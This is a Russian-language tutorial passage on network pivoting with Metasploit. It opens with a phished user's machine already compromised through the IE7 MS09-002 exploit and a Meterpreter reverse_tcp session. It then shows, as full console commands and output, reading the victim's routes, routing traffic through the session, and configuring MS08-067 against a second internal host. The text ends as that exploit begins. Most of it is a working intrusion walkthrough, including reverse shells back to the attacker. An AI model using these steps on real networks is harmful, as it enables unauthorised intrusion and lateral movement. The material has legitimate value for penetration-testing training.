Техника Социальной инженерии сработала как надо, бедная Мэри перешла по предложенной нами ссылке и неосознанно предоставила нам полный доступ к своей системе.

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://10.10.1.109:80/
[*] Server started.
[*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.1.104:62238...
[*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.1.104:62238...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.1.104:62238...
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (205835 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.10.1.109:8080 -> 10.10.1.104:62239)
 
msf exploit(ms09_002_memory_corruption) > sessions -l
 
Active sessions
===============
 
  Id  Description  Tunnel                                 
  --  -----------  ------                                 
  1   Meterpreter  10.10.1.109:8080 -> 10.10.1.104:62239  
 
msf exploit(ms09_002_memory_corruption) >

Напрашивается вопрос, что нам делать дальше?
Мы должны каким-то образом получить более широкий доступ, «занырнув» глубже в сеть. Если вы заметили, то мы использовали полезную нагрузку reverse_tcp. Обратите внимание на то, что адрес атакующей машины находится в другой подсети, нежели адрес машины жертвы. IP адрес атакуемой машины 10.211.55.140, атакующего 10.10.1.109. Как атаковать другие системы в сети? Для примера, нашей целю будет машина 10.211.55.128. Итак, приступим.
Запустим сессию Meterpreter и сопоставим наш IP адрес, с адресом жертвы. Чтобы посмотреть маршруты на атакованной машине нужно запустить команду route.

msf exploit(ms09_002_memory_corruption) > sessions -l
 
Active sessions
===============
 
  Id  Description  Tunnel                                 
  --  -----------  ------                                 
  1   Meterpreter  10.10.1.109:8080 -> 10.10.1.104:62239  
 
msf exploit(ms09_002_memory_corruption) > ifconfig
[*] exec: ifconfig
 
eth0      Link encap:Ethernet  HWaddr 00:0d:29:d9:ec:cc
          inet addr:10.10.1.109  Bcast:10.10.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fee8:ebe7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:14826 errors:12824 dropped:0 overruns:0 frame:0
          TX packets:6634 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7542708 (7.5 MB)  TX bytes:2385453 (2.3 MB)
          Interrupt:19 Base address:0x2024
 
msf exploit(ms09_002_memory_corruption) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > route
 
Network routes
==============
 
    Subnet           Netmask          Gateway        
    ------           -------          -------        
    0.0.0.0          0.0.0.0          10.211.55.2    
    10.211.55.0      255.255.255.0    10.211.55.140  
    10.211.55.140    255.255.255.255  127.0.0.1      
    10.255.255.255   255.255.255.255  10.211.55.140  
    127.0.0.0        255.0.0.0        127.0.0.1      
    224.0.0.0        240.0.0.0        10.211.55.140  
    255.255.255.255  255.255.255.255  10.211.55.140  
 
meterpreter >
Background session 1? [y/N]y

Имея в руках эту ценную информацию, добавим новые маршруты для Metasploit , задав подсеть и маску подсети жертвы, указав номер сессии Meterpreter в качестве шлюза, которая в нашем случае 1. Чтобы вывести доступные маршруты, скомандуем route print.

msf exploit(ms09_002_memory_corruption) > route add 10.211.55.0 255.255.255.0 1
msf exploit(ms09_002_memory_corruption) > route print
 
Active Routing Table
====================
 
   Subnet             Netmask            Gateway    
   ------             -------            -------    
   10.211.55.0        255.255.255.0      Session 1  
 
msf exploit(ms09_002_memory_corruption) >

Теперь, используя маршрут через сессию Meterpreter, мы получили доступ к подсети атакованной машины.

 msf exploit(ms09_002_memory_corruption) > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/patchupmeterpreter/reverse_tcp
PAYLOAD => windows/patchupmeterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options
 
Module options:
 
   Name     Current Setting  Required  Description                             
   ----     ---------------  --------  -----------                             
   RHOST                     yes       The target address                      
   RPORT    445              yes       Set the SMB service port                
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  
 
Payload options (windows/patchupmeterpreter/reverse_tcp):
 
   Name      Current Setting  Required  Description                           
   ----      ---------------  --------  -----------                           
   EXITFUNC  thread           yes       Exit technique: seh, thread, process  
   LHOST                      yes       The local address                     
   LPORT     4444             yes       The local port                        
 
Exploit target:
 
   Id  Name                 
   --  ----                 
   0   Automatic Targeting  
 
msf exploit(ms08_067_netapi) > set RHOST 10.211.55.128
RHOST => 10.211.55.128
msf exploit(ms08_067_netapi) > set LPORT 9000
LPORT => 9000
msf exploit(ms08_067_netapi) > set LHOST 10.10.1.109
LHOST => 10.10.1.109
msf exploit(ms08_067_netapi) > exploit
 
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 SP2 English (NX)